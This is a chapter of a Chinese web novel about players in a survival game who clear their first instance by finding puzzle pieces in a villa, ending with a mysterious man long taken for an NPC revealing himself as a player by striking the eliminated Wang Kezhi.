或许是线索，又或许是空的，不太可能的是直接放着通关碎片。
程朔深吸一口气，一左一右扶着箱盖，在几人专注认真地注视下缓缓掀开。
左边三个，右边两个，是拼图碎片。
真的就这么戏剧性地出现了。
程朔呆住，一刹那脑海里闪过很多。
消失的泽恩，透露线索的谢尔，直接找到通关的碎片。
三者有关联吗？
“我凑。”苏南惊叫一声，拿起那块碎片打量，“就是我们要找的。这算通关吗？等等，我这里有提示了。”
眼前许久没出现的蓝色提示框浮动。
“恭喜你找到宝藏，获得拼图碎片，通关此次副本。”
“幸福来得太突然，好吓人。”兴奋过后是惴惴不安，苏南警惕地看着四周，“该不会是什么陷阱吧？我不信这游戏对我们这么好，说让通关就通关了，太儿戏了吧？”
“也可能……”东为顿了顿，“新手关卡就是用来给我们适应的，后面都是变态副本。”
“呸呸呸。”苏南立刻呸起来，“不要说这种丧气话，后面说不定也都是这么戏剧化副本，只要心态好，没有通关不了的。”
他拿着碎片，嘿嘿笑起来。
询风和东为挨个拿出碎片，看到蓝色提示框的那一刻，才有真实感。
“真的就这么结束了？”东为蹙眉怀疑，翻看着碎片，“我们之前猜想的东西都算什么？”
“算我们多想。”询风欲言又止。
李河山笑笑：“不管怎么说，第一个副本通关了，大家都没事，值得高兴。”
“既然宝藏就是碎片形式，那王克之手里拿的画是什么？”苏南疑惑道。
程朔没说话。
从开始他就沉默地站在一旁，没拿碎片。
一切太简单了，简单到程朔觉得这宝藏碎片就像被人送到他们手上的。
如果不送出来，他们或许真通关不了。
“五分钟后，您将离开此副本，请做好准备。”
眼前浮现提示框，苏南立刻举手：“我这给提示了，还有五分钟就离开。大家……”
他不知道怎么说，想了想才笑着挥挥手：“大家再见，说不定以后会在其他副本中见到。”
“我这里也提示了。”东为和询风异口同声。
李河山没再犹豫，拿出两块碎片，塞进程朔手中一块。
“拿着，不然王克之突然出现就不安全了。”
程朔捏住碎片，恍惚间回到了现实房间，还在拼那幅拼图。
“时间到了。”苏南急切道，“我是会离开还是怎么样？”
话音刚落，他直接消失不见，剩余其他人一愣。
“大家再见。”东为快速告别，“我也要离开了。”
“下次见。”询风说。
两人在苏南之后消失，房间里只剩下李河山与程朔。
“你在思考什么？”李河山打量着程朔的侧脸，“有哪里不对吗？”
程朔举起碎片，在灯光下眯着眼描绘着碎片边缘。
他呢喃道：“哪里都不对。”
脑海中闪过谢尔冲他挥手的场景，他瞬间一怔。
当时的谢尔真的在与他告别。
因为他预料到他们会找到碎片，离开这里。
NPC会知道这些吗？
谢尔和泽恩是NPC吗？
许久之前的疑问再次浮上心头，可这一次不可能得到答案，程朔收紧力道，将碎片捏得微微下陷。
“要离开了。”李河山看着提示框下方的倒计时，“伊索，下次见。”
“下次见。”程朔回过神，抿唇道。
第一个副本就这么莫名其妙地通关了。
轻微的异响从门外传来，程朔偏头，反应过来门外有人，瞥了眼所剩无几的时间，狂奔过去。
他有种强烈的预感，抓住门把手拉开门，却只来得及看到门外之人穿着的西装，眼前陷入黑暗。
程朔愣住，手还保持着抓门的姿势。
门外一直有人。
是泽恩还是谢尔无法确定。
一直以来被刻意忽略的复杂情绪此刻如潮水般蔓延整个心脏。
程朔现在有时间去慢慢弄清楚到底是什么，可却没有确定的机会了。
他深吸一口气，或许是因为整个人身处黑暗，看不清任何东西，脑中思想被无限放大。
他开始记起那些被遗忘的细节。
程朔确信一件事——泽恩和谢尔就是不对劲。
但一切无从探究了。
……
别墅里静悄悄的。
穿着黑色西装的高大男人推开只露出一条缝的门。
房内空无一人，只有风吹动窗帘。
楼下是得到其余人通关，自己即将被淘汰而暴怒的王克之。
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“什么意思？他们怎么可能通关？”
“那我手里的是什么东西？”
“他们用什么办法通关的？我知道了，这些人一定背着我找到了宝藏。”
“别被我抓住。”王克之怒不可遏地踹烂了房门。
同样的倒计时浮在空中，不同于其他人，他这是淘汰倒计时。
王克之越想越气，目光落在地上的画，冲上前将其撕碎。
“没用的东西，浪费了我这么多时间。”
脚步声响起，王克之动作一顿，猩红的双眼看向烂掉的房门。
这别墅现在除了他还有其他人没通关？
王克之莫名被安慰到，期待地拉开门。
他力气很大，这一拉，门直接失去衔接功能，倒在地上，发出刺耳的响动。
王克之看到了一个意想不到的人。
“我就说怎么还会有人。”他自嘲一笑，眼底满是鄙夷，“原来是个NPC。”
倒计时只剩下半分钟，王克之忽略对方，摩拳擦掌，眼里满是恨意地自言自语：“还有机会。下次再碰到那几人，我一定弄死他们。”
本该是NPC的男人听到他这句话，原本漫不经心的视线落在他身上。
王克之被那阴冷不夹杂感情的视线弄得浑身发寒，他壮着胆子，瞪着对方，心想都要淘汰了，还怕一个NPC？
还不如好好对这个NPC发泄一下怨恨。
想到这，王克之撸起袖子，蠢蠢欲动。
但他没想到自己压根没机会。
冲过去的刹那，他被身形颀长的男人一拳击飞。
背脊撞在坚硬的墙壁上，跌落在地，骨头好似被重塑，王克之痛到惨叫，不停蜷缩着身体。
意识快要模糊之际，他看着那进入房间的男人，心中充满不解。
副本都要结束了，这NPC怎么还会动手打人？
要么是有这个设定，要么……
他从来就不是NPC。
倒计时只剩最后几秒，王克之挣扎着坐起身，还想为自己报仇。
看着那拿着画从房间中出来的男人，他脑中猜想一下被证实，脸上的表情变得无比呆滞。
“你不是NPC？”王克之回过神，惊悚万分地说出一句，“你是玩家？”
男人不冷不热地斜睨他一眼，没有回答他的话，只是将那些撕成碎片的画慢慢折在一起。
被耍了。
王克之握紧拳头，不知道哪来的力气站起身，愤怒地嘶吼：“这些天你在耍人玩呢？他们突然通关是不是跟你有关系？说话啊，哑巴了？”
男人动作一顿，偏头望来。
那张看了好几天的脸因过于冰冷而变得陌生起来。
他唇角缓慢上扬，脸上带着浅淡的笑意，却不达眼底。
对上那双读不出任何情绪的眼睛，王克之见状更为咬牙切齿，莫名确定是他帮了其他人，还想骂几句，倒计时骤然结束。
他再说不出一句话。
身处黑暗前，王克之只来得及看到男人唇角笑意逐渐化为讽刺。
——他从没承认过自己是NPC。
一切不过是其他人自以为的。
偌大的别墅最终只剩下一人。
男人将整理好的画放入口袋，静静地盯着左下角的倒计时。
还有五分钟转移下个副本。
他推开第一间房门，里面到处残留着主人生活的痕迹。
男人躺在床上，闭上眼，静静等待倒计时结束。